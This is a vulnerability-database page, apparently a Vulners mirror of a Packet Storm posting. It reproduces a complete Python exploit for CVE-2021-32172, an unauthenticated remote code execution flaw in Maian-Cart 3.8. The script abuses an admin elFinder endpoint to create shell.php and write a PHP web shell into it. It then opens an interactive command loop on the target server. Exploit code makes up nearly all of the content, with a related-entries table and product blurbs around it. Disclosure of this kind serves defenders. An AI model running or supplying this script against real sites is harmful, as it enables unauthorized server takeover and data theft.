Lucene search
K

Maian-Cart 3.8 Remote Code Execution

🗓️ 08 Oct 2021 00:00:00Reported by DreyAndType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 295 Views

Maian-Cart 3.8 Remote Code Execution (RCE) - Unauthenticate

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Maian-Cart 3.8 - Remote Code Execution (Unauthenticated) Exploit
8 Oct 202100:00
zdt
Circl
CVE-2021-32172
27 Apr 202309:58
circl
CNNVD
Maian Script World Maian Cart 安全漏洞
7 Oct 202100:00
cnnvd
CVE
CVE-2021-32172
7 Oct 202110:18
cve
Cvelist
CVE-2021-32172
7 Oct 202110:18
cvelist
Exploit DB
Maian-Cart 3.8 - Remote Code Execution (RCE) (Unauthenticated)
8 Oct 202100:00
exploitdb
Nuclei
Maian Cart <=3.8 - Remote Code Execution
6 Jun 202603:01
nuclei
NVD
CVE-2021-32172
7 Oct 202111:15
nvd
Prion
Improper access control
7 Oct 202111:15
prion
RedhatCVE
CVE-2021-32172
22 May 202519:44
redhatcve
Rows per page
`# Exploit title: Maian-Cart 3.8 - Remote Code Execution (RCE) (Unauthenticated)  
# Date: 27.11.2020 19:35  
# Tested on: Ubuntu 20.04 LTS  
# Exploit Author(s): DreyAnd, purpl3  
# Software Link: https://www.maiancart.com/download.html  
# Vendor homepage: https://www.maianscriptworld.co.uk/  
# Version: Maian Cart 3.8  
# CVE: CVE-2021-32172  
  
#!/usr/bin/python3  
  
import argparse  
import requests  
from bs4 import BeautifulSoup  
import sys  
import json  
import time  
  
parser = argparse.ArgumentParser()  
parser.add_argument("host", help="Host to exploit (with http/https prefix)")  
parser.add_argument("dir", help="default=/ , starting directory of the  
maian-cart instance, sometimes is placed at /cart or /maiancart")  
args = parser.parse_args()  
  
#args  
  
host = sys.argv[1]  
directory = sys.argv[2]  
  
#CREATE THE FILE  
  
print("\033[95mCreating the file to write payload to...\n\033[00m", flush=True)  
time.sleep(1)  
  
try:  
r = requests.get(f"{host}{directory}/admin/index.php?p=ajax-ops&op=elfinder&cmd=mkfile&name=shell.php&target=l1_Lw")  
print(r.text)  
if "added" in r.text:  
print("\033[95mFile successfully created.\n\033[00m")  
else:  
print("\033[91mSome error occured.\033[00m")  
  
except (requests.exceptions.RequestException):  
print("\033[91mThere was a connection issue. Check if you're  
connected to wifi or if the host is correct\033[00m")  
  
#GET THE FILE ID  
  
time.sleep(1)  
  
file_response = r.text  
soup = BeautifulSoup(file_response,'html.parser')  
site_json=json.loads(soup.text)  
hash_id = [h.get('hash') for h in site_json['added']]  
file_id = str(hash_id).replace("['", "").replace("']", "")  
  
  
print("\033[95mGot the file id: ", "\033[91m", file_id , "\033[00m")  
print("\n")  
  
#WRITE TO THE FILE  
  
print("\033[95mWritting the payload to the file...\033[00m")  
print("\n")  
time.sleep(1)  
  
headers = {  
"Accept": "application/json, text/javascript, /; q=0.01",  
"Accept-Language" : "en-US,en;q=0.5",  
"Content-Type" : "application/x-www-form-urlencoded; charset=UTF-8",  
"X-Requested-With" : "XMLHttpRequest",  
"Connection" : "keep-alive",  
"Pragma" : "no-cache",  
"Cache-Control" : "no-cache",  
}  
  
data = f"cmd=put&target={file_id}&content=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%20%3F%3E"  
  
try:  
write = requests.post(f"{host}{directory}/admin/index.php?p=ajax-ops&op=elfinder",  
headers=headers, data=data)  
print(write.text)  
except (requests.exceptions.RequestException):  
print("\033[91mThere was a connection issue. Check if you're  
connected to wifi or if the host is correct\033[00m")  
  
  
#EXECUTE THE PAYLOAD  
  
print("\033[95mExecuting the payload...\033[00m")  
print("\n")  
time.sleep(1)  
  
exec_host = f"{host}{directory}/product-downloads/shell.php"  
  
print(f"\033[92mGetting a shell. To stop it, press CTRL + C. Browser  
url: {host}{directory}/product-downloads/shell.php?cmd=\033[00m")  
time.sleep(2)  
  
while True:  
def main():  
execute = str(input("$ "))  
e = requests.get(f"{exec_host}?cmd={execute}")  
print(e.text)  
  
try:  
if __name__ == "__main__":  
main()  
except:  
exit = str(input("Do you really wish to exit? Y/N? "))  
  
if exit == "Y" or exit =="y":  
print("\033[91mExit detected. Removing the shell...\033[00m")  
remove =  
requests.get(f"{host}{directory}/admin/index.php?p=ajax-ops&op=elfinder&cmd=rm&targets%5B%5D={file_id}")  
print("\033[91m" , remove.text, "\033[00m")  
print("\033[91mBye!\033[00m")  
sys.exit(1)  
else:  
main()  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation